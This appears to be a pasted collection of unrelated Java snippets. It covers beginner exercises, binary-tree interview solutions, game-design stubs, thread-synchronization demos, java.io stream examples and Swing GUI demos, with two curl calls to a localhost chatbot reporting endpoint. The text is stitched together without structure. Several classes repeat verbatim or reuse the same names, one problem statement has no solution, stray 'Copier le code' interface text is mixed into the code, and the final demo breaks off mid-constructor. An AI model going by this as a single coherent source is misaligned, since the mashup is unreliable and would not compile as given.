////PUBLIC CLASS CALCULATOR
public class Calculator {
    //public to be access main
    public double tax = .05;
    public double tip = .15;
    public double originalPrice = 0.0;
    
    public void findTotal(){//2 paremeters of price and string name
        double total = originalPrice * (1 + tax + tip);
        System.out.println(total);
        
    }
    
}

public class Section4 {

    /**
     * @param args the command line arguments
     */
    public static void main(String[] args) {
        double tax= .05;
        double tip= .15;
        double person1=10.00;
        double person2=12.00;
        double person3=9.00;
        double person4=8.00;
        double person5=7.00;
        double person6=15.00;
        double person7=11.00;
        double person8=30.00;
        
        
       System.out.println("Person1:$" + person1 * (1+tip+tax));
       System.out.println("Person2:$" + person2 * (1+tip+tax));
       System.out.println("Person3:$" + person3 * (1+tip+tax));
       System.out.println("Person4:$" + person4 * (1+tip+tax));
       System.out.println("Person5:$" + person5 * (1+tip+tax));
       System.out.println("Person6:$" + person6 * (1+tip+tax));
       System.out.println("Person7:$" + person7 * (1+tip+tax));
       System.out.println("Person8:$" + person8 * (1+tip+tax));
        
        
        
        
    }
    
}

import java.util.Scanner;
public class etudiant{
    String nom,pren;
    int id;
    etudiant(String n,String p,int id){
        this.nom=n;
        this.pren=p;
        this.id=id;
    }
    void afficher(){
        System.out.println("le nom :" + this.nom +"\n le prenom :" + this.pren+ "\n le id :" + this.id);
    }

    public static void main(String []args){
        etudiant E1=new etudiant("sahar","mess",12906031);
        E1.afficher();
    }
    
}

import java.util.Scanner;
public class java{
    public static void main(String [] args){
        Scanner sa=new Scanner (System.in);
      String ch,ch1;
      int l;
      ch1="";
      System.out.println("donner la chaine : \n");
      ch=sa.nextLine();
      l=ch.length();
      l=l-1;
      do{
          ch1=ch1+ch.charAt(l);
          l=l-1;
      }while(l>=0);
      System.out.println(ch1);
      
      } 
    }

import java.util.*; 
import java.io.*;

class Main {
   public static String CodelandUsernameValidation(String str) {
    // code goes here 

    if(str.length() < 4 || str.length() > 25 || Character.isLetter(str.charAt(0)) == false || str.charAt(str.length()-1) == '_') {
      return "false";
    } 
    else{
      for(int i=0;i<str.length();i++){
        if(Character.isLetter(str.charAt(i)) || Character.isDigit(str.charAt(i)) || str.charAt(i) == '_'){
          continue;
        }
        else{
          return "false";
        }
      }
    }
    return "true";
    
  }

  public static void main (String[] args) {  
    // keep this function call here     
    Scanner s = new Scanner(System.in);
    System.out.print(CodelandUsernameValidation(s.nextLine())); 
  }

}

  

curl --location 'localhost:9091/chatbot/report/update-data-job' \
--header 'Content-Type: application/json' \
--data '{
    "start_date":"25/01/2024",
    "end_date":"20/08/2024"
}'

curl --location 'localhost:9091/chatbot/report/update-analytic-user' \
--header 'Content-Type: application/json' \
--data '{
    "start_date":"25/01/2024",
    "end_date":"20/08/2024"
}'

Convert a non-negative integer num to its English words representation.

class Solution {
    public static ArrayList<ArrayList<Integer>> Paths(Node root) {
        // code here
        
        ArrayList<ArrayList<Integer>> result = new ArrayList<>();
        
        pathToLeaf(root,result,new ArrayList<>());
        
        return result;
    }
    
    
    private  static void pathToLeaf(Node node, List<ArrayList<Integer>> result, ArrayList<Integer> sub){
        if(node == null){
            return;
        }
        
        sub.add(node.data);
        
        if(node.left==null && node.right == null){
            result.add(new ArrayList<>(sub));
        }
        
        pathToLeaf(node.left,result,sub);
        pathToLeaf(node.right,result,sub);
        sub.remove(sub.size()-1);
    }
    
}
        

// } Driver Code Ends


//User function Template for Java


class Solution
{
    //Function to return a list containing the bottom view of the given tree.
    public ArrayList <Integer> bottomView(Node root)
    {
        // Code here
        
        Queue<Pair> q = new ArrayDeque<>();
        
        TreeMap<Integer,Integer> mpp=new TreeMap<>();
        
        q.add(new Pair(0,root));
        
        while(!q.isEmpty()){
            Pair curr = q.poll();
            mpp.put(curr.hd,curr.node.data);
            
            if(curr.node.left!=null){
                q.add(new Pair(curr.hd-1,curr.node.left));
            }
            if(curr.node.right!=null){
                q.add(new Pair(curr.hd+1,curr.node.right));
            }
        }
        
        
        ArrayList<Integer> res = new ArrayList<>();
        
        for(Map.Entry<Integer,Integer> entry: mpp.entrySet()){
            res.add(entry.getValue());
        }
        
        
        return res;
        
        
        
    }
    
    
    static class Pair{
        int hd;
        Node node;
        
        public Pair(int hd,Node node){
            this.hd=hd;
            this.node = node;
        }
    }
    
    
}

 class Solution{
    //Function to return a list containing the bottom view of the given tree.
    public ArrayList <Integer> bottomView(Node root){
        // Code here
        
         
    
        // Code here
        
        Queue<Pair> q = new ArrayDeque<>();
        
        TreeMap<Integer,Integer> mpp=new TreeMap<>();
        
        q.add(new Pair(0,root));
        
        while(!q.isEmpty()){
            Pair curr = q.poll();
            mpp.put(curr.hd,curr.node.data);
            
            if(curr.node.left!=null){
                q.add(new Pair(curr.hd-1,curr.node.left));
            }
            if(curr.node.right!=null){
                q.add(new Pair(curr.hd+1,curr.node.right));
            }
        }
        
        
        ArrayList<Integer> res = new ArrayList<>();
        
        for(Map.Entry<Integer,Integer> entry: mpp.entrySet()){
            res.add(entry.getValue());
        }
        
        
        return res;
        
        
        
    }
    
    static class Pair{
        int hd;
        Node node;
        
        public Pair(int hd,Node node){
            this.hd=hd;
            this.node = node;
        }
    }
    
    
    
    
    
    
}           
                        

//User function Template for Java

/* A Binary Tree node
class Node
{
    int data;
    Node left, right;

    Node(int item)
    {
        data = item;
        left = right = null;
    }
}*/
class Tree
{
    //Function to return list containing elements of left view of binary tree.
    ArrayList<Integer> leftView(Node root)
    {
      // Your code here
      
      ArrayList<Integer> res = new ArrayList<>();
      int level =0;
      
      leftView(root,res,level);
      
      return res;
    }
    
    
    private void leftView(Node node , List<Integer> res,int level){
        if(node == null){
            return;
        }
        
        if(level ==res.size()){
            res.add(node.data);
        }
        
        leftView(node.left,res,level+1);
        leftView(node.right,res,level+1);
    }
    
    
    
}

/**
 * Definition for a binary tree node.
 * public class TreeNode {
 *     int val;
 *     TreeNode left;
 *     TreeNode right;
 *     TreeNode() {}
 *     TreeNode(int val) { this.val = val; }
 *     TreeNode(int val, TreeNode left, TreeNode right) {
 *         this.val = val;
 *         this.left = left;
 *         this.right = right;
 *     }
 * }
 */
class Solution {
    ArrayList<Integer> res = new ArrayList<>();
    public List<Integer> postorderTraversal(TreeNode root) {
        postOrder(root);
        return res;
    }

    private void postOrder(TreeNode root){
        if(root == null){
            return;
        }
        postOrder(root.left);
        postOrder(root.right);
        res.add(root.val);
    }
}

/**
 * Definition for a binary tree node.
 * public class TreeNode {
 *     int val;
 *     TreeNode left;
 *     TreeNode right;
 *     TreeNode() {}
 *     TreeNode(int val) { this.val = val; }
 *     TreeNode(int val, TreeNode left, TreeNode right) {
 *         this.val = val;
 *         this.left = left;
 *         this.right = right;
 *     }
 * }
 */
class Solution {
    public List<Integer> preorderTraversal(TreeNode root) {

        List<Integer> res = new ArrayList<>();

        preOrder(root,res);

        return res;
        
    }


    private void preOrder(TreeNode node,List<Integer> res){
        if(node == null){
            return;
        }

        res.add(node.val);
        preOrder(node.left,res);
        preOrder(node.right,res);



    }
}

/**
 * Definition for a binary tree node.
 * public class TreeNode {
 * int val;
 * TreeNode left;
 * TreeNode right;
 * TreeNode() {}
 * TreeNode(int val) { this.val = val; }
 * TreeNode(int val, TreeNode left, TreeNode right) {
 * this.val = val;
 * this.left = left;
 * this.right = right;
 * }
 * }
 */
class Solution {
    public List<Integer> inorderTraversal(TreeNode root) {

        ArrayList<Integer> res = new ArrayList<>();
        inOrder(root, res);
        return res;

    }

    private void inOrder(TreeNode node, List<Integer> res) {
        if (node == null) {
            return;
        }

        inOrder(node.left, res);
        res.add(node.val);
        inOrder(node.right, res);
    }
}

import java.util.Scanner;

public class Test {
    public static void main(String[] args) {
        
        int n = 4;
        int m =5;
        
        // outer loop
        for (int i = 1; i <=n ; i++) {
            // inner loop
            for (int j = 1; j <= m; j++) {
                if (i==1 || i==n || j==1 || j==m) {
                    System.out.print("*");
                }
                else {
                    System.out.print(" ");
                }

            }
            System.out.println();
           
        }
        
    }
}

class Player {
    private int health = 100;

    public void takeDamage(int damage) {
        health -= damage;
        if (health <= 0) {
            die();
        }
    }

    private void die() {
        System.out.println("Player has died.");
        // Additional death logic
    }
}
Example: Score System
java
Copier le code
class Game {
    private int score = 0;

    public void increaseScore(int points) {
        score += points;
        System.out.println("Score: " + score);
    }
}
Example: Power-Ups
java
Copier le code
class PowerUp {
    public void applyTo(Player player) {
        player.increaseSpeed();
    }
}

class Player {
    private int speed = 5;

    public void increaseSpeed() {
        speed += 2;
    }

    public void pickUpPowerUp(PowerUp powerUp) {
        powerUp.applyTo(this);
    }
}
Example: Collectibles
java
Copier le code
class Player {
    private List<Item> inventory = new ArrayList<>();
    private int score = 0;

    public void collect(Item item) {
        inventory.add(item);
        score += item.getPoints();
    }
}

class Item {
    private int points;

    public int getPoints() {
        return points;
    }
}
Example: Level System
java
Copier le code
class Game {
    private List<Level> levels;
    private Level currentLevel;

    public void loadLevel(int levelNumber) {
        currentLevel = levels.get(levelNumber);
    }
}
Example: Particle Effects
java
Copier le code
class Game {
    private List<Particle> particles = new ArrayList<>();

    public void createExplosion(int x, int y) {
        particles.add(new Explosion(x, y));
    }
}

class Particle {
    // Particle implementation
}

class Explosion extends Particle {
    public Explosion(int x, int y) {
        // Explosion effect implementation
    }
}
Example: Sound Effects
java
Copier le code
class SoundManager {
    public static void playSound(String soundFile) {
        // Play sound implementation
    }
}
Example: Background Music
java
Copier le code
class MusicManager {
    public static void playBackgroundMusic(String musicFile) {
        // Play background music implementation
    }
}
Example: Saving/Loading
java
Copier le code
class SaveManager {
    public void save(GameState gameState, String saveFile) {
        // Save game state implementation
    }

    public GameState load(String saveFile) {
        // Load game state implementation
        return new GameState();
    }
}

class GameState {
    // Game state implementation
}
Example: Multiplayer
java
Copier le code
class Game {
    private List<Player> players = new ArrayList<>();

    public void addPlayer(Player player) {
        players.add(player);
    }
}
Example: Inventory System
java
Copier le code
class Player {
    private List<Item> inventory = new ArrayList<>();

    public void addItemToInventory(Item item) {
        inventory.add(item);
    }
}
Example: Dialog System
java
Copier le code
class DialogBox {
    public void show(String text) {
        // Display dialog implementation
    }
}
Example: Pathfinding
java
Copier le code
class PathFinder {
    public List<Point> find(int startX, int startY, int targetX, int targetY) {
        // Pathfinding algorithm implementation
        return new ArrayList<>();
    }
}
Example: Animations
java
Copier le code
class AnimatedSprite {
    private int currentFrame = 0;
    private Image[] animationFrames;

    public void animate() {
        currentFrame = (currentFrame + 1) % animationFrames.length;
    }
}

    @Override
    public List<HumanAgent> findByBotIdAndStatus(String botId, String status) {
        List<HumanAgent> humanAgents = new ArrayList<>();
        try {
            Query query = new Query().addCriteria(Criteria.where("bot_id").is(botId))
                    .addCriteria(Criteria.where("status").is(status));
            humanAgents = mongoTemplate.find(query, HumanAgent.class);
            log.info("find HumanAgent by botId {}, status {},  have size {}",
                    botId, status, humanAgents.size());
        }catch (Exception ex){
            log.error("ERROR {}", ExceptionUtils.getStackTrace(ex));
        }
        return humanAgents;
    }

Producer-Consumer Inter-thread communication

Table.java 

public class Table
{
	private String obj;
	private boolean empty = true;
	 
	public synchronized void put(String obj)
	{  
	   if(!empty)
	    {   try
		    {  wait();
			}catch(InterruptedException e)
			{ e.printStackTrace(); }
		}
				
		this.obj = obj; 
		empty = false;
		System.out.println(Thread.currentThread().getName()+" has put "+obj);
		notify();
		
	}
	
	public synchronized void get()
	{   
	    if(empty)
	    {   try
		    {   wait();
			}catch(InterruptedException e)
			{ e.printStackTrace(); }
		}
		
		empty = true;
		System.out.println(Thread.currentThread().getName()+" has got "+obj);
		notify();		
	}
	
	public static void main(String[] args)
	{
		Table table = new Table();
		
		Runnable p = new Producer(table);
		Runnable c = new Consumer(table);
		
		Thread pthread = new Thread(p, "Producer");
		Thread cthread = new Thread(c, "Consumer");
		
		pthread.start(); cthread.start();
		
		try{ pthread.join(); cthread.join(); }
		catch(InterruptedException e){ e.printStackTrace(); }
	}
}

Producer.java

public class Producer implements Runnable
{   private Table table;

	public Producer(Table table)
	{ this.table = table; }
	
	public void run()
	{   java.util.Scanner scanner = new java.util.Scanner(System.in);
		for(int i=1; i <= 5; i++)
		{   System.out.println("Enter text: ");
	        table.put(scanner.next());	
            try{ Thread.sleep(1000); }	
			catch(InterruptedException e){ e.printStackTrace(); }		
		}
	}
}

Consumer.java

public class Consumer implements Runnable
{   
	private Table table;

	public Consumer(Table table)
	{ this.table = table; }
	
	public void run()
	{   for(int i=1; i <= 5; i++){ 
			table.get();
		}
		
	}
}

Inter-thread Synchronization example

Users.java


public class Users implements Runnable
{   private Account ac;
    
    public Users(Account ac)
    { this.ac = ac; }
	
    public void run()
    {   
        Thread t = Thread.currentThread();
         
        String name = t.getName();
		for(int i=1; i<=5; i++)
		{
			if (name.equals("John"))
			{  ac.deposit(200); } 
			if (name.equals("Mary"))
			{  ac.withdraw(200); }
		}
    }
}

Account.java

public class Account 
{   private double balance;
    
    public Account(double startBalance)
    { this.balance = startBalance; }
    	
    public   synchronized   void deposit(double amount)
    { Thread t = Thread.currentThread();
	  double bal = this.getBalance(); bal += amount;
	  try{ Thread.sleep(1000); }
      catch(InterruptedException ie)
      { ie.printStackTrace();  }
	  this.balance = bal;
	  System.out.println(t.getName() + " has deposited "+amount); }

    public  synchronized void withdraw(double amount)
    {   Thread t = Thread.currentThread();
        if (this.getBalance()>=amount)
        {   try{ Thread.sleep(1000); }
            catch(InterruptedException ie)
            { ie.printStackTrace();  }
            this.balance -= amount;
            System.out.println(t.getName() + " has withdrawn "+amount);
        }         
    }

    public double getBalance() {   return this.balance; }
}



AcTest.java

public class AcTest
{
    public static void main(String[] args)
    {
        Account a = new Account(5000);
        System.out.println("Current balance: "+a.getBalance());

        Runnable john = new Users(a); Runnable mary = new Users(a);

        Thread t1 = new Thread(john,"John");  Thread t2 = new Thread(mary,"Mary");
        t1.start(); t2.start();
        try{
            t1.join(); t2.join();
        }catch(InterruptedException ie)
        { ie.printStackTrace(); 
        }
        System.out.println("Current balance: "+a.getBalance());
    }
}

Synchronization another example     

Sync.java

public class Sync implements Runnable
{   private Display d;
    private String message;
	public Sync(Display d, String message)
	{ this.d = d; this.message = message; }
	
	public void run()
	{  synchronized(d)
         {      // or syncronize the show method
			d.show(this.message); 
	   }
	}
	
	public static void main(String[] args)
	{   Display d = new Display();
		Runnable r1 = new Sync(d, "First Message");  Runnable r2 = new Sync(d, "Second Message");
		Runnable r3 = new Sync(d, "Third message");
		Thread t1 = new Thread(r1); Thread t2 = new Thread(r2); Thread t3 = new Thread(r3);
		t1.start(); t2.start();t3.start();
	}
}





class Display
{    // 	public synchronized void show(String message)
	public void show(String message)   
	{
		System.out.print("{ " + message);
		try{  Thread.sleep(500); }
		catch(InterruptedException e){ e.printStackTrace(); }
		System.out.println(" }");
	}
	
}

Serialization program with 3 files

import java.io.*;

public class Student implements Serializable
{
	private int id;
	private String name;
	private double percentage;
	
	// use transient and static variables to check if they are saved
	
	public Student(int id, String name, double percentage)
	{
		this.id = id;
		this.name = name;
		this.percentage = percentage;
	}
	
	public String toString()
	{
		return "ID: "+this.id+", Name: "+this.name+", Percentage: "+this.percentage;
	}
}





import java.io.*;

public class SerializationDemo
{
	public static void main(String[] args)
	{
		try(FileOutputStream fos = new FileOutputStream("serial.txt");
		    ObjectOutputStream out = new ObjectOutputStream(fos);
		   )
		   {   System.out.println("Creating a student");
			   Student s = new Student(100, "John", 98.56);
			   System.out.println(s);
			   out.writeObject(s);
			   System.out.println("Object serialized");
		   }
		   catch(FileNotFoundException fe){ fe.printStackTrace();}
		   catch(IOException ie){ ie.printStackTrace(); }
	}
}

import java.io.*;

public class DeserializationDemo
{
	public static void main(String[] args)
	{
		try(FileInputStream fis = new FileInputStream("serial.txt");
		    ObjectInputStream in = new ObjectInputStream(fis);
		   )
		   {   System.out.println("Restoring the object");
			   Student s = (Student)in.readObject();
			   System.out.println(s);
			   System.out.println("Deserialization Done");
		   }
		   catch(ClassNotFoundException ce){ ce.printStackTrace();}
		   catch(IOException ie){ ie.printStackTrace(); }
	}
}

import java.io.*;

public class DirList
{
	public static void main(String[] args)
	{	File f = new File(args[0]);
		if(f.isDirectory())
		{	String[] files = f.list();
			for(String each: files)
				System.out.println(each);
		}
		File f1 = new File(f,"/sub");
		f1.mkdir();
	}
}

import java.io.*;

public class ConsoleDemo
{
	public static void main(String[] args)
	{   		 
		Console c = System.console();
		if(c == null)
			return;
		String s = c.readLine("Enter a String: ");
		char[] p = c.readPassword("Enter a Password: ");
		String pw = String.valueOf(p);
		System.out.println("Entered Details: "+s+", "+pw);
	}
}

import java.io.*;

public class FileDemo
{
	public static void main(String[] args)
	{
		File f = new File("sample.txt");
		
		System.out.println("File name: "+f.getName());
		System.out.println("Path: "+f.getPath());
		System.out.println("Absolute path: "+f.getAbsolutePath());
		System.out.println("Parent: "+f.getParent());
		System.out.println("Exists? "+f.exists());
		System.out.println("Writable? "+f.canWrite());
		System.out.println("Readable? "+f.canRead());
		System.out.println("Directory? "+f.isDirectory());
		System.out.println("File? "+f.isFile());
		System.out.println("Last modified: "+f.lastModified());
		System.out.println("Length: "+f.length()+" bytes");
		
		//File r = new File("Newsample.txt");
		//System.out.println("Renamed? "+f.renameTo(r));
		/* the delete() method is used to delete a file or an empty directory*/ 
		
		//f.delete();
      	// other methods
		System.out.println("Free space: "+f.getFreeSpace());
		System.out.println("Total space: "+f.getTotalSpace());
		System.out.println("Usable space: "+f.getUsableSpace());
		System.out.println("Read-only: "+f.setReadOnly());
		
		
	}
}

import java.io.*;

public class BufferedReaderDemo
{
	public static void main(String[] args)
	{   
		try(FileReader fis = new FileReader("BufferedReaderDemo.java");
		    BufferedReader bis = new BufferedReader(fis);
		   )
		{  int c;
		   while((c=bis.read()) != -1)
		   { System.out.print((char)c);
		   }
		}
		catch(IOException ie){ ie.printStackTrace();}
	}
}

import java.io.*;

public class BufferedWriterDemo
{
	public static void main(String[] args)
	{   
		try(FileReader fr = new FileReader("BufferedWriterDemo.java");
		    BufferedReader br = new BufferedReader(fr);
			FileWriter fw = new FileWriter("target.txt");
			BufferedWriter bw = new BufferedWriter(fw);
		   )
		{  int c;
		   while((c=br.read()) != -1)
		   { bw.write((char)c);
		   }
		   
		}
		catch(IOException ie)
		{ ie.printStackTrace();}
	}
}

import java.io.*;

public class CharArrayReaderDemo
{
	public static void main(String[] args)
	{
		String s = "abcdefghijklmnopqrstuvwxyz";
		char[] c = new char[s.length()];
		s.getChars(0, s.length(), c, 0);
		
		try(CharArrayReader car = new CharArrayReader(c))
		{	int i;
			while((i = car.read()) != -1)
				System.out.print((char)i);
		}		catch(IOException ie){ ie.printStackTrace(); }
	}
}
import java.io.*;

public class CharArrayWriterDemo
{
	public static void main(String[] args)
	{
		String s = "abcdefghijklmnopqrstuvwxyz";
		
		CharArrayWriter bas = new CharArrayWriter();
		char[] a = new char[s.length()];
		s.getChars(0, s.length(), a, 0);
		
		try{ bas.write(a); }
		catch(IOException ie){ ie.printStackTrace(); }
				  
		char[] b = bas.toCharArray();
		for(int c: b)
			System.out.print((char)c);
		System.out.println();
	}
}

import java.io.*;

public class FileReaderDemo
{
	public static void main(String[] args)
	{
		try(FileReader fr = new FileReader("FileReaderDemo.java"))
		{
			int c;
			while((c=fr.read())!= -1)
				System.out.print((char)c);
		}
		catch(IOException ie){ ie.printStackTrace(); }
	}
}

import java.io.*;

public class FileWriterDemo
{
	public static void main(String[] args)
	{
		try(FileReader fr = new FileReader("FileWriterDemo.java");
		    FileWriter fw = new FileWriter("Test2.dat");
		)
		{
			int c;
			while((c=fr.read())!= -1)
				fw.write((char)c);
		}
		catch(IOException ie){ ie.printStackTrace(); }
	}
}

import java.io.*;

public class ByteArrayInputStreamDemo
{
	public static void main(String[] args)
	{
		String s = "abcdefghijklmnopqrstuvwxyz";
		byte[] b = s.getBytes();
		ByteArrayInputStream bas = new ByteArrayInputStream(b);
		for(int i=0; i<2;i++)
		{
			int c;
			while((c=bas.read()) != -1)
			{
				if(i==0)
					System.out.print((char)c);
				else
					System.out.print(Character.toUpperCase((char)c));
			}
			System.out.println();
			bas.reset();
		}
	}
}

import java.io.*;

public class ByteArrayOutputStreamDemo
{
	public static void main(String[] args)
	{
		String s = "abcdefghijklmnopqrstuvwxyz";
		
		ByteArrayOutputStream bas = new ByteArrayOutputStream();
		bas.writeBytes(s.getBytes()); 
		  
		byte[] b = bas.toByteArray();
		for(int c: b)
			System.out.print((char)c);
		System.out.println();
	}
}

import java.io.*;

public class BufferedOutputStreamDemo
{
	public static void main(String[] args)
	{   
		try(FileInputStream fis = 
                     new FileInputStream("BufferedInputStreamDemo.java");
		    BufferedInputStream bis = new BufferedInputStream(fis);
			FileOutputStream fos = new FileOutputStream("target.txt");
			BufferedOutputStream bos = new BufferedOutputStream(fos);
		   )
		{  int c;
		   while((c=bis.read()) != -1)
		   { bos.write((char)c);
		   }
		   
		}
		catch(IOException ie)
		{ ie.printStackTrace();}
	}
}

import java.io.*;

public class BufferedInputStreamDemo
{
	public static void main(String[] args)
	{   
		try(FileInputStream fis = 
                        new FileInputStream("BufferedInputStreamDemo.java");
		    BufferedInputStream bis = new BufferedInputStream(fis);
		   )
		{  int c;
		   while((c=bis.read()) != -1)
		   { System.out.print((char)c);
		   }
		   
		}
		catch(IOException ie)
		{ ie.printStackTrace();}
	}
}

import java.io.*;

public class FileOutputStreamDemo
{
	public static void main(String[] args)
	{   FileOutputStream fos = null;
	    FileInputStream  fis = null;
	    try{
			fis = new FileInputStream("FileOutputStreamDemo.java");
			fos = new FileOutputStream("out.txt");
			
			int c = fis.read();
			while(c != -1)
			{   fos.write((char)c);
				c = fis.read();
			}
		}
		catch(IOException ie)
		{ ie.printStackTrace(); }
		finally
		{   try 
			{    if(fis != null)
					fis.close();
			}catch(IOException ie){ ie.printStackTrace(); }
			try 
			{    if(fos != null)
					fos.close();
			}catch(IOException ie){ ie.printStackTrace(); } 
		}		
	}
}

import java.io.*;

public class FileOutputStreamDemo2
{
	public static void main(String[] args)
	{   
	    try(FileInputStream fis = 
                           new FileInputStream("FileOutputStreamDemo2.java");
	        FileOutputStream  fos = new FileOutputStream("out2.txt", true);
		   )
		{   int c = fis.read();
			while(c != -1)
			{   fos.write((char)c);
				c = fis.read();
			}
		}
		catch(IOException ie)	{ ie.printStackTrace(); }
	}
}

import java.io.*;

public class FileInputStreamDemo
{
	public static void main(String[] args)
	{   FileInputStream fis = null;
	    try{
			fis = new FileInputStream("FileInputStreamDemo.java");
			System.out.println("Available data: "+fis.available()+
                                   " bytes.");
			int c = fis.read();
			while(c != -1)
			{   System.out.print((char)c);
				c = fis.read();
			}
		}
		catch(IOException ie)
		{ ie.printStackTrace(); }
		finally{
			try
			{   if(fis != null)
					fis.close();
			}
			catch(IOException ie)
			{ ie.printStackTrace(); }
		}		
	}
}


import java.io.*;

public class FileInputStreamDemo2
{
	public static void main(String[] args)
	{   // try-with-resources statement  
	    try(FileInputStream fis = 
                   new FileInputStream("FileInputStreamDemo2.java"))
		{
			System.out.println("Available data: "+fis.available()+
                                   " bytes.");
			int c;
			while((c = fis.read()) != -1)
			{   System.out.print((char)c);
				//c = fis.read();
			}
		}
		catch(IOException ie)
		{ ie.printStackTrace(); }
	}
}

import java.io.*;

public class FileOutputStreamDemo
{
	public static void main(String[] args)
	{   FileOutputStream fos = null;
	    FileInputStream  fis = null;
	    try{
			fis = new FileInputStream("FileOutputStreamDemo.java");
			fos = new FileOutputStream("out.txt");
			
			int c = fis.read();
			while(c != -1)
			{   fos.write((char)c);
				c = fis.read();
			}
		}
		catch(IOException ie)
		{ ie.printStackTrace(); }
		finally
		{   try 
			{    if(fis != null)
					fis.close();
			}catch(IOException ie){ ie.printStackTrace(); }
			try 
			{    if(fos != null)
					fos.close();
			}catch(IOException ie){ ie.printStackTrace(); } 
		}		
	}
}

import java.io.*;

public class FileOutputStreamDemo2
{
	public static void main(String[] args)
	{   
	    try(FileInputStream fis = 
                           new FileInputStream("FileOutputStreamDemo2.java");
	        FileOutputStream  fos = new FileOutputStream("out2.txt", true);
		   )
		{   int c = fis.read();
			while(c != -1)
			{   fos.write((char)c);
				c = fis.read();
			}
		}
		catch(IOException ie)	{ ie.printStackTrace(); }
	}
}

import java.io.*;

public class FileInputStreamDemo
{
	public static void main(String[] args)
	{   FileInputStream fis = null;
	    try{
			fis = new FileInputStream("FileInputStreamDemo.java");
			System.out.println("Available data: "+fis.available()+
                                   " bytes.");
			int c = fis.read();
			while(c != -1)
			{   System.out.print((char)c);
				c = fis.read();
			}
		}
		catch(IOException ie)
		{ ie.printStackTrace(); }
		finally{
			try
			{   if(fis != null)
					fis.close();
			}
			catch(IOException ie)
			{ ie.printStackTrace(); }
		}		
	}
}


import java.io.*;

public class FileInputStreamDemo2
{
	public static void main(String[] args)
	{   // try-with-resources statement  
	    try(FileInputStream fis = 
                   new FileInputStream("FileInputStreamDemo2.java"))
		{
			System.out.println("Available data: "+fis.available()+
                                   " bytes.");
			int c;
			while((c = fis.read()) != -1)
			{   System.out.print((char)c);
				//c = fis.read();
			}
		}
		catch(IOException ie)
		{ ie.printStackTrace(); }
	}
}

TextDemo.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;

public class TextDemo implements ActionListener
{
    private JFrame frame;
	private JTextField tf1, tf2, tf3;
	private JTextArea ta;
	private JLabel label, label2;
	private JButton b;

	public TextDemo()
	{
		frame = new JFrame("A Simple Swing App");

		//frame.setSize(600, 400);
		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		tf1 = new JTextField("Enter the name", 25); tf2 = new JTextField(20); tf3 = new JTextField("Enter a value");
		tf1.setFont(new Font("Verdana", Font.BOLD, 18));
		tf2.setFont(new Font("Verdana", Font.BOLD, 18));
		tf3.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(tf1); frame.add(tf2); frame.add(tf3);
		//tf1.addActionListener(this); tf2.addActionListener(this); tf3.addActionListener(this);

		ta = new JTextArea(20, 15);
		ta.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(ta);

		label = new JLabel();
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		label.setForeground(Color.RED);
		frame.add(label);

		label2 = new JLabel();
		label2.setFont(new Font("Verdana", Font.BOLD, 18));
		label2.setForeground(Color.green);
		frame.add(label2);

		b = new JButton("Display");
		b.addActionListener(this);
		frame.add(b);

		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public void actionPerformed(ActionEvent ae)
	{   String message ="";
		message += tf1.getText()+": ";
		message += tf2.getText()+": ";
		message += tf3.getText()+": ";
		label.setText(message);
		label2.setText(ta.getText());
	}

	public static void main(String[] args)
	{   new TextDemo();
	}
}

ListDemo.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;

public class ListDemo implements ListSelectionListener
{
    private JFrame frame;
	private JList<String> list;
	private JLabel label;
	private JToolTip tip;

	public ListDemo()
	{
		frame = new JFrame("A Simple Swing App");

		//frame.setSize(600, 400);
		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		String[] months = {"January", "February", "March", "April", "May", "June", "July", "August",
		                   "September", "October", "November", "December"};
		list = new JList<String>(months);
		list.addListSelectionListener(this);
		frame.add(list);

		//JScrollPane sp = new JScrollPane(list);
		//frame.add(sp);

		label = new JLabel("I show the selected Date");
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		label.setForeground(Color.RED);
		frame.add(label);

		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public void valueChanged(ListSelectionEvent ae)
	{   String message = "";
	    for(String each: list.getSelectedValuesList())
			message += each +" ";
		label.setText(message);
	}

	public static void main(String[] args)
	{   new ListDemo();
	}
}

ComboBoxDemo2.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class ComboBoxDemo2 implements ActionListener
{
    private JFrame frame;
	private JComboBox cb1, cb2, cb3;
	private JLabel label;

	public ComboBoxDemo2()
	{
		frame = new JFrame("A Simple Swing App");

		//frame.setSize(600, 400);
		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		String[] months = {"January", "February", "March", "April", "May", "June", "July", "August",
		                   "September", "October", "November", "December"};
		cb1 = new JComboBox(); cb2 = new JComboBox(months); cb3 = new JComboBox();

		for(int i = 1; i<=31; i++){ cb1.addItem(i); }
		for(int i = 1970; i<2048; i++){ cb3.addItem(i); }

		cb1.addActionListener(this); cb2.addActionListener(this); cb3.addActionListener(this);
		frame.add(cb1); frame.add(cb2); frame.add(cb3);

		label = new JLabel("I show the selected Date");
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		label.setForeground(Color.RED);
		frame.add(label);

		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public void actionPerformed(ActionEvent ae)
	{   String message = "";
	    message += (Integer)cb1.getSelectedItem()+", ";
		message += (String)cb2.getSelectedItem()+", ";
		message += (Integer)cb3.getSelectedItem();
		label.setText(message);
	}

	public static void main(String[] args)
	{   new ComboBoxDemo2();
	}
}

ComboBoxDemo.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class ComboBoxDemo implements ActionListener
{
    private JFrame frame;
	private JComboBox cb;
	private JLabel label;

	public ComboBoxDemo()
	{
		frame = new JFrame("A Simple Swing App");

		//frame.setSize(600, 400);
